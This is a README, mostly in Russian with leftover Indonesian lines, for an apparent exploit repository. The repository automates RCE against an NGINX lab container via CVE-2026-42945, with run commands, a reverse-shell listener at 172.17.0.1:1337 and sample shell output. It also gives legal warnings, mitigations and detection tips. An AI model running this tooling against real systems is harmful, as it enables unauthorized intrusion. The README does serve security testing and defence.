
Автоматизирует эксплуатацию уязвимости CVE-2026-42945 в контейнерах NGINX: проверяет уязвимые цели, перебирает смещения кучи, выполняет команды и открывает интерактивный reverse shell.
Драйвер автоматизации PoC для эксплуатации RCE в контейнере nginx-rift · Проверка цели → Эксплуатация одной командой → Интерактивный reverse-shell
Одна команда оркестрирует весь процесс эксплуатации — от проверки контейнера до получения shell.
⚠️ Этическое и правовое предупреждение Этот инструмент предназначен только для законного и авторизованного тестирования безопасности — контрактный пентест, лабораторные работы/CTF или собственные активы. Использование без разрешения владельца системы является уголовным преступлением (UU ITE, Computer Fraud and Abuse Act и др.). Пользователь несёт полную ответственность за его использование.
CVE-2026-42945 — это уязвимость Remote Code Execution (RCE) в конфигурации NGINX «Rift»: ошибка heap-based buffer overflow в модуле ngx_http_rewrite_module, которая срабатывает через определённый location block (/api/users/...). В результате атакующий может выполнять команды через обработчик system() внутри контейнера.
Репозиторий содержит 2 компонента:
| Файл | Назначение |
|---|---|
poc.py | Драйвер эксплойта — brute-force смещения кучи, два режима: --cmd (одна команда) и --shell (reverse shell) |
scan.sh | Оркестратор автоматизации — проверка цели, запуск PoC, проверка результата и интерактивная shell-сессия |
┌─────────────────────────────┐
│ scan.sh │
│ Mode: auto / cmd / shell │
└─────────────┬───────────────┘
▼
[0] Preflight
cek docker, curl, python3,
nc, timeout + poc.py ada
▼
[1] Verifikasi Target
docker ps (label compose)
→ curl /api/users/42 (HTTP 200)
▼
[2] PoC --cmd (max 3× retry)
python3 poc.py --cmd 'echo hello
from depthfirst > /tmp/pwned'
│
▼ (timeout 300s per attempt)
Verifikasi ground-truth:
docker exec cat /tmp/pwned
▼
[3] PoC --shell (opsional)
listener 172.17.0.1:1337
→ prompt /bin/sh interaktif
Оператор (хост, на котором запускается скрипт):
docker (с sudo или пользователь в группе docker)python3 + poc.py (в том же каталоге, что и scan.sh)curl, nc (netcat), timeout (coreutils)Цель (лабораторный стенд):
nginx-rift запущен (подготовка через docker compose)19321 открыт на 127.0.0.1172.17.0.1 для listener на хосте)# 1. Clone
git clone https://github.com/Kentox493/CVE-2026-42945_NginxRift.git
cd CVE-2026-42945_NginxRift
# 2. Pastikan executable
chmod +x scan.sh
# 3. (Opsional) Verifikasi dependensi
command -v docker python3 curl nc timeout
scan.sh и poc.py должны находиться в одном каталоге.
./scan.sh # alur lengkap (default: auto)
./scan.sh cmd # hanya PoC single-command + verifikasi marker
./scan.sh shell # langsung reverse-shell interaktif
./scan.sh help # tampilkan bantuan
auto (по умолчанию)--cmd — записывает маркер hello from depthfirst в /tmp/pwned внутри контейнера (автоматические повторы, максимум 3×, timeout 300 с на попытку).docker exec cat /tmp/pwned должен содержать маркер (ground-truth, а не просто чтение вывода).y для интерактивной сессии.shell./scan.sh shell
Запускает poc.py --shell с listener 172.17.0.1:1337. После успешного brute-force вы получаете интерактивный промпт /bin/sh от имени пользователя worker NGINX внутри контейнера.
Примечание: IP
172.17.0.1— это адрес хоста в Docker bridge по умолчанию. Если ваш bridge отличается (docker network inspect bridge), измените переменнуюLISTEN_IPв верхней частиscan.sh.
Все параметры собраны в блоке конфигурации в верхней части scan.sh:
┌──────────────────────────────────────────────────────────────┐
│ NGINX RIFT · CVE-2026-42945 · PoC Automation Driver │
└──────────────────────────────────────────────────────────────┘
── 0 ── Preflight
[+] Semua dependensi tersedia (docker, curl, python3, nc, timeout, poc.py)
── 1 ── Verifikasi Container & Target
[+] Container 'nginx-rift-nginx-1' berjalan
[+] Target responsif (HTTP 200): http://127.0.0.1:19321/api/users/42
── 2 ── PoC Single-Command (--cmd)
[i] Payload : echo hello from depthfirst > /tmp/pwned
[i] Target : 127.0.0.1:19321
[!] Percobaan 1/3 — brute-force loop berjalan (timeout 300s)...
[*] trying offset 0x8a0
[*] crashed - system("...") executed
[i] Percobaan 1 selesai dalam 42 detik (rc=0)
[+] Exploit BERHASIL — marker terverifikasi: 'hello from depthfirst' (milik root)
[?] Lanjut ke reverse-shell interaktif? [y/N]: y
── 3 ── PoC Reverse-Shell (--shell)
[i] Reverse shell akan terhubung ke 172.17.0.1:1337
[i] poc.py membuka listener netcat lokal lalu menjalankan brute-force
[+] Connection from 172.18.0.2:49312
/bin/sh: 0# id
uid=1000(nginx) gid=1000(nginx) groups=1000(nginx)
ngx_http_rewrite_module, или уберите конфигурацию Rift.0.0.0.0; используйте внутреннюю сеть + reverse proxy с WAF.--privileged./api/users/ (нечисловые паттерны, длинные payload), обнаружение запуска /bin/sh из процесса nginx.CVE-2026-42945_NginxRift/
├── scan.sh # Automation orchestrator (bash) — verifikasi, PoC, verifikasi marker, shell
├── poc.py # Exploit driver (python) — brute-force heap offset, mode --cmd / --shell
└── README.md # Dokumentasi ini
Только для законного использования. Инструмент предназначен для:
Вы обязаны получить письменное разрешение владельца системы перед запуском этого инструмента на любой инфраструктуре.
Репозиторий предоставляется «as-is» без каких-либо гарантий. Авторы не несут ответственности за неправомерное использование.
Лицензия: MIT
ngx_http_rewrite_module — официальная документация| Элемент | Описание |
|---|
| CVE | CVE-2026-42945 |
| Тип | Remote Code Execution (RCE) |
| Компонент | NGINX (ngx_http_rewrite_module) — конфигурация «Rift» |
| Триггер | Запрос к уязвимому location block (/api/users/{id}) |
| Воздействие | Выполнение произвольных команд от имени пользователя worker NGINX внутри контейнера |
| Лабораторный стенд | Контейнер nginx-rift-nginx-1 — порт хоста 19321 |
| Переменная | По умолчанию | Назначение |
|---|
DOCKER | sudo docker | Замените на docker, если пользователь уже в группе docker |
PROJECT_LABEL | com.docker.compose.project=nginx-rift | Фильтр идентификации контейнера |
CONTAINER | nginx-rift-nginx-1 | Имя целевого контейнера |
TARGET_HOST / TARGET_PORT | 127.0.0.1 / 19321 | Адрес цели |
LISTEN_IP / LISTEN_PORT | 172.17.0.1 / 1337 | Listener reverse shell |
MARKER_FILE / MARKER_EXPECT | /tmp/pwned / hello from depthfirst | Проверка выполнения |
CMD_TIMEOUT | 300 | Тайм-аут на одну попытку (секунды) |
MAX_ATTEMPTS | 3 | Количество повторов PoC --cmd |
| Проблема | Решение |
|---|
Контейнер ... не запущен | cd <project-dir> && sudo docker compose up -d, затем повторите |
HTTP 000 / соединение отклонено | Порт 19321 ещё не готов — подождите несколько секунд, проверьте docker ps |
Файл 'poc.py' не найден | Запускайте scan.sh из каталога репозитория (poc.py должен быть в том же каталоге) |
PoC --cmd постоянно не срабатывает (3×) | Увеличьте MAX_ATTEMPTS / CMD_TIMEOUT; убедитесь, что ядро и версия NGINX соответствуют стенду |
| Reverse shell не подключается | Проверьте LISTEN_IP в соответствии с bridge (docker network inspect bridge); убедитесь, что порт 1337 не занят |
Ошибка unrecognized arguments | Убедитесь, что версия poc.py поддерживает флаги --listen-ip/--listen-port (см. python3 poc.py -h) |